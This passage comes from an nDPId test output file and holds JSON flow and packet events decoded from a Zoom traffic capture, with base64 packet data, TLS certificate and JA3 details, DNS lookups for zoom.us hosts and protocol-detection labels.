MB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA3p3X6lcYSaFb69dfSIbqvt3\/5O9nHPRlaLNXcaBed7vtm0npcIA9VhhjCG\/a8szQP38CVCJUENiygdTAdT1Lf8d3wz54qxoDtSBrL2orscWIfsS7HrDB2EUnb6o3WPeHJtfYLfapF7cfcjZOphc\/ZZiS2ypuXaL+iOAL3n\/ljRXh68s61eISohMt2I6vXxI9oAgFCLZcpWU4BEWZHqNgYHTFQaVyYhtixR9vXxpCvgJRZaiuIxhq\/HgDqU1\/gMP6q1r8oUCkyhkW\/rLI715zDe53vZr2eZi8sQdnohUN3aBYxkR7Cj5iKF+6QQdTWM8Rfjh0xfj\/tWmQj4R06pcbrwIBA6OBwDCBvTAdBgNVHQ4EFgQU0sSw0pHUTBFxs2HLPaH+3ahq1OMwgY0GA1UdIwSBhTCBgoAU0sSw0pHUTBFxs2HLPaH+3ahq1OOhZ6RlMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHmCAQAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAMkvzsso+kfwSxqEHjI53oDMGFFyQHhj3CKY9Chn5h4ARbmnklhcw\/zSRY3I47swcAaMdlCikMfZ6xFTX9uUxWAOizM5i25RFc7W\/RckktdWCAq0jeWmNuLZNzs9MyjMj6ByIqp2LQW4WySDliZ7NO9pw936ZJiAUVCWrbnOF5pshnQpsgg6o+MIM+hAebJbvhw3ED2GLre6DK5X4jpKEcjnrIOqD7YPNl24IvOtOJrZzK+TT9kz+JnHiYRF0Sv9XGocPdUguz1FpF6ACEmGV1dFAshBM7sSsEEOmpZ4K1ZVimg3PiILFMgzkK59F5g2fKJyxuSpaV603D68df9u9nxYDAwFNDAABSQMAF0EEFwDZ60aLH3B7P\/vInKFk4rD4q\/xASONd0wHGKC4uRb6OV\/JCnEQLxWwqMt55\/1ueaL7THNDGJXe5cMxVc4QT6wYBAQBC2Zi65Aqy4Yc1njLHn7u3+MmCKv8izsBhwoJ56bwbBov8nHVg4FXI50Cw5dNJYqThCJRlYjmFt\/0P2YOcbcHabu7M1jWi33XVtX62UGa1Vbnx2I2ldU9KtsdBHdrYj8VrQv\/5h8nHfEOBEA9tnQK8gQUZG1x1WHKFmGxElDmBazBcjfu5FslvVarLGZmXX\/EBTDnUKS0C2e8B5hDr3ISubwABTQCTKcjxvhh\/5g5YBJNCb2gxtN0A7JXdlRpvn+skLcJjT7NZIpzeUXPbPCj8tg\/99TIRUYccAHKO40P08YkE3wrM2bPkW+zlbVjP"} +01145{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":209,"source":"zoom.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":11,"flow_first_seen":1569520470755,"flow_last_seen":1569520470829,"flow_tot_l4_data_len":6425,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.104","src_port":54868,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam104zc.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00459{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":829740,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABPSBNAADAG2vzVE5BowKgBdQG71lTDwm4JC7yL4YAYAAs9VwAAAQEICntaEHElnOCvncahV8EAPshmfgMSZSfWkdzLFgMDAAQOAAAA"} +00423{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":829790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyvAqAF11ROQaNZUAbsLvIvhw8JuJIAQD34L1AAAAQEICiWc4NV7WhBx"} +02366{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":837019,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU+OBAADMGJN3V9IxUwKgBdQG71lYtiw8V+ewU7IAQAAusLAAAAQEICny1B9QlnOC8hA+9V3CzWukfoIZTu+98\/2kL4EjDt5MLyApUxKxdFGc3bMqlLzEIN6pub4y8m+JXXSSBr5eXnIStbKw3TGbzYZERIOS+MJ96pCkJsOE0X2R3GEBR34wwpq8ABAQwggQAMIIC6KADAgECAgEAMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTcwNjIwWhcNMzQwNjI5MTcwNjIwWjBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA3p3X6lcYSaFb69dfSIbqvt3\/5O9nHPRlaLNXcaBed7vtm0npcIA9VhhjCG\/a8szQP38CVCJUENiygdTAdT1Lf8d3wz54qxoDtSBrL2orscWIfsS7HrDB2EUnb6o3WPeHJtfYLfapF7cfcjZOphc\/ZZiS2ypuXaL+iOAL3n\/ljRXh68s61eISohMt2I6vXxI9oAgFCLZcpWU4BEWZHqNgYHTFQaVyYhtixR9vXxpCvgJRZaiuIxhq\/HgDqU1\/gMP6q1r8oUCkyhkW\/rLI715zDe53vZr2eZi8sQdnohUN3aBYxkR7Cj5iKF+6QQdTWM8Rfjh0xfj\/tWmQj4R06pcbrwIBA6OBwDCBvTAdBgNVHQ4EFgQU0sSw0pHUTBFxs2HLPaH+3ahq1OMwgY0GA1UdIwSBhTCBgoAU0sSw0pHUTBFxs2HLPaH+3ahq1OOhZ6RlMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHmCAQAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAMkvzsso+kfwSxqEHjI53oDMGFFyQHhj3CKY9Chn5h4ARbmnklhcw\/zSRY3I47swcAaMdlCikMfZ6xFTX9uUxWAOizM5i25RFc7W\/RckktdWCAq0jeWmNuLZNzs9MyjMj6ByIqp2LQW4WySDliZ7NO9pw936ZJiAUVCWrbnOF5pshnQpsgg6o+MIM+hAebJbvhw3ED2GLre6DK5X4jpKEcjnrIOqD7YPNl24IvOtOJrZzK+TT9kz+JnHiYRF0Sv9XGocPdUguz1FpF6ACEmGV1dFAshBM7sSsEEOmpZ4K1ZVimg3PiILFMgzkK59F5g2fKJyxuSpaV603D68df9u9nxYDAwFNDAABSQMAF0EEnoSSM6LmvW8407DLYnbiDHkuWufOYOMhziFcf4f1ylaNGiPw8b9ii3BIiJbKZn16pxgVzccohnSH90KpQvx7iAYBAQCfJPY4+226F8fJa4wBpNk83fhF6fGvE9pHkp+Y\/fs9DnRvaaBFOPY1S1AuWFMkkO5Qm8qV8Vblgc8c+jZdvHsBYlhBr\/6DqL38QEFIoiujeX6MdJ72WovKPVimRwS1hbR72c6DoPjjzIHin3wDC\/vovv1DRYxw6dHIBZQNxWls3buXNyBktwESd9OE99D3jn+MymjIiU10vHOm19FaRazPPCLAR8INA7mh5pEMVoaQth6KuXsxmyJirL9wNigqfCkgjYJQP1GIKHJEww\/0qWT8sF1cKuCVpxoSkUfmVz3lZkAVj\/T88TV3iW5NC2iM"} +01144{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":212,"source":"zoom.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":11,"flow_first_seen":1569520470776,"flow_last_seen":1569520470837,"flow_tot_l4_data_len":6425,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.84","src_port":54870,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr84zc.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00461{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":837022,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABP+OFAADMGKmHV9IxUwKgBdQG71lYtixS1+ewU7IAYAAuc\/QAAAQEICny1B9QlnOC8CtdULUh+e0X55Wul2j7\/doIDFgMDAAQOAAAA"} +00423{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":837137,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl7AqAF11fSMVNZWAbv57BTsLYsU0IAQD36OkAAAAQEICiWc4Nx8tQfU"} +00597{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":904290,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGEqzAqAF11ROQadZTAbug3l9T66AEPIAYEADXOQAAAQEICiWc4R14fR8GFgMDAEYQAABCQQQjFTtfeXfZ+xlKLBfs9\/\/kFVjml5SlVDGXd34XCK2yeoWhqRwshK5Y5yfL1y+ka87m\/rD3I5aKBQr3P4H2FlBzFAMDAAEBFgMDACi6ncZnXwNZcYigwDSNW14JtYIvvzJ37vA0nhow4iznzC1E4rHsKIVM"} +00424{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":904326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyvAqAF11ROQaNZUAbsLvIvhw8JuJIAQD\/ULFQAAAQEICiWc4R17WhBx"} +00753{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":937554,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEm8H5AADAGMbnVE5BpwKgBdQG71lProAQ8oN5f0YAYAAs3EAAAAQEICnh9H3wlnOEdFgMDALoEAAC2AAABLACw1eD0CE4LJGrd+NqxB07T5Oka1nt5kmX9TTAeRjxRIEpFeIkRDNHIlgAsOqI9CAcRe+MwHbZmHCcpKpzrgz9QKcbxJrcxXrlTkN4GOB2saNcJ29UTw0tdLL1hJCid5cjGEiH9\/gQ0YGtMdodz\/xVaEfZQEF5mSsMxRDi0gcSY8vS16dIiiTuounKQltG5aopyiMX7zWesqWfVHciiZ3WlivL+gMBfRjEvxOZPhYcRh80UAwMAAQEWAwMAKGMRmQ0o81+8h\/4RLoNR7V2NPYY+EfLjPgVZUWfslEoc3T6m1vMdS70="} +00598{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":964376,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGEq3AqAF11ROQaNZUAbsLvIvhw8JuJIAYEABGlQAAAQEICiWc4Vd7WhBxFgMDAEYQAABCQQRHXoc6ZwOc2tFEEQ2Bcz5YEzm2XDTa7hp\/\/rZS\/ABcMV7Nhj0sC9ttqmu16VX1dgAOkvs\/FGjAA2JYfw35u3dXFAMDAAEBFgMDACi4MuNcA3n7e+61YjqZQjE3UQWTtoD30hCTHeqa+vPQoqEFKVx5qHLB"} +00598{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":25016,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGFd\/AqAF11fSMVdZVAbvq+zhNyCpo+IAYEAA3twAAAQEICiWc4ZF4gwOKFgMDAEYQAABCQQRVun8uJBzyDsPb\/X4u6k\/uQy9u3wF\/AO4vo05f8vjaBg2FFtZcxtNyTZ\/He1Tlde5PGHUpXteiE1GDCss4M1TcFAMDAAEBFgMDACiR0zlQOsVHgVAUJx+EIxl5sI1kMeQdSAy4IHcJex2h5ywIbfwItEiZ"} +00423{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":25020,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl7AqAF11fSMVNZWAbv57BTsLYsU0IAQD\/WNZAAAAQEICiWc4ZF8tQfU"} +00752{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":47055,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEmUEhAADMG0iLV9IxVwKgBdQG71lXIKmj46vs4y4AYAAuoEQAAAQEICniDBGslnOGRFgMDALoEAAC2AAABLACwIQWRyQj7cbwjkmUGLjQJrOY3GiisfRojjJK+mUbGLElkoMIbxJcXDVf2BC2tJkJf8L7+y2uMWVdoJxXE4bVnX56RLftNs7D2e3USIQt1Iu55piOgmOX6rUMQ\/Jn0MoPD1nw3Z17k390STDlScrHWzg6l+6NAPdhLI693QAVAnUaL17qCU7YjY8Ry4WtMuzQ3IxH2tFP7EAdQuYalfbKc8rP3NDI3mv+9z0ZYiCBAjycUAwMAAQEWAwMAKDPqSSLa4ONWdQa17BbVeYje8qpHk1\/G\/pQuf3ZBgtfrfIG9CC0q5ZU="} +00594{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":84569,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGFeDAqAF11fSMVNZWAbv57BTsLYsU0IAYEABOhAAAAQEICiWc4ct8tQfUFgMDAEYQAABCQQSzzEWHScT0+dStfBhaz6gsEBo4pbGRd+yl5EU1zWGDTKevZgJkyfuF6XRpt2LgG7QGvGv0qRuMCQlwC8Hxst3MFAMDAAEBFgMDAChfiaRfvLq8Qvu5te\/Q4JeCgrlTIoFRRpUNP5p25B5qXve70ZGG4fNI"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":257,"source":"zoom.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1569520471147,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":51185,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":147573,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"EBMx8Tl2KDc3AG3ICABFAABCtGEAAP8Rg4LAqAF1wKgBAcfxADUALsLBHCQBAAABAAAAAAAADHpvb21mcm45OW1tcgR6b29tAnVzAAABAAE="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":257,"source":"zoom.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1569520471147,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":51185,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfrn99mmr.zoom.us","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00463{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":188152,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"KDc3AG3IEBMx8Tl2CABFAABSclkAADcRjXvAqAEBwKgBdQA1x\/EAPsuKHCSBgAABAAEAAAAADHpvb21mcm45OW1tcgR6b29tAnVzAAABAAHADAABAAEAAKjAAARtXqBj"} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":280,"source":"zoom.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":2,"flow_first_seen":1569520471147,"flow_last_seen":1569520471188,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":46,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":51185,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfrn99mmr.zoom.us","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"109.94.160.99"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":281,"source":"zoom.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1569520471189,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":54871,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":189039,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGatnAqAF1bV6gY9ZXAbsw+fmWAAAAALAC\/\/9csgAAAgQFtAEDAwUBAQgKJZziLAAAAAAEAgAA"} +00434{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":220660,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADMGd91tXqBjwKgBdQG71leHhddzMPn5l6ASqbBjhwAAAgQFrAQCCAp2KotLJZziLAEDAww="} +00422{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":220821,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGauXAqAF1bV6gY9ZXAbsw+fmXh4XXdIAQECwrtgAAAQEICiWc4kt2KotL"} +01121{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":221044,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGaODAqAF1bV6gY9ZXAbsw+fmXh4XXdIAYECwk4gAAAQEICiWc4kt2KotLFgMBAgABAAH8AwOzVpYU92e7nLk\/fVgH9DH3k0vHgfUwYGgBmhkxDvYbiwAAusAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwBkApwBtADoAicAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAYAKYAbAA0AJsARsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcAXABvADcADAAoA\/wEAARkAAAAZABcAABR6b29tZnJuOTltbXIuem9vbS51cwALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQEAFQCjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"zoom.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1569520471189,"flow_last_seen":1569520471221,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":54871,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfrn99mmr.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00422{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":253409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0XB9AADMGG8ZtXqBjwKgBdQG71leHhdd0MPn7nIAQAAs5sQAAAQEICnYqi2wlnOJL"} +02364{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":255395,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXCBAADMGFiVtXqBjwKgBdQG71leHhdd0MPn7nIAQAAuBEAAAAQEICnYqi2wlnOJLFgMDAEICAAA+AwMFa6ivl1HZr2MajwKuXXOxKEOmYN9JsHYRK2dz0KRtRgDALwAAFv8BAAEAAAsABAMAAQIAIwAAAA8AAQEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmk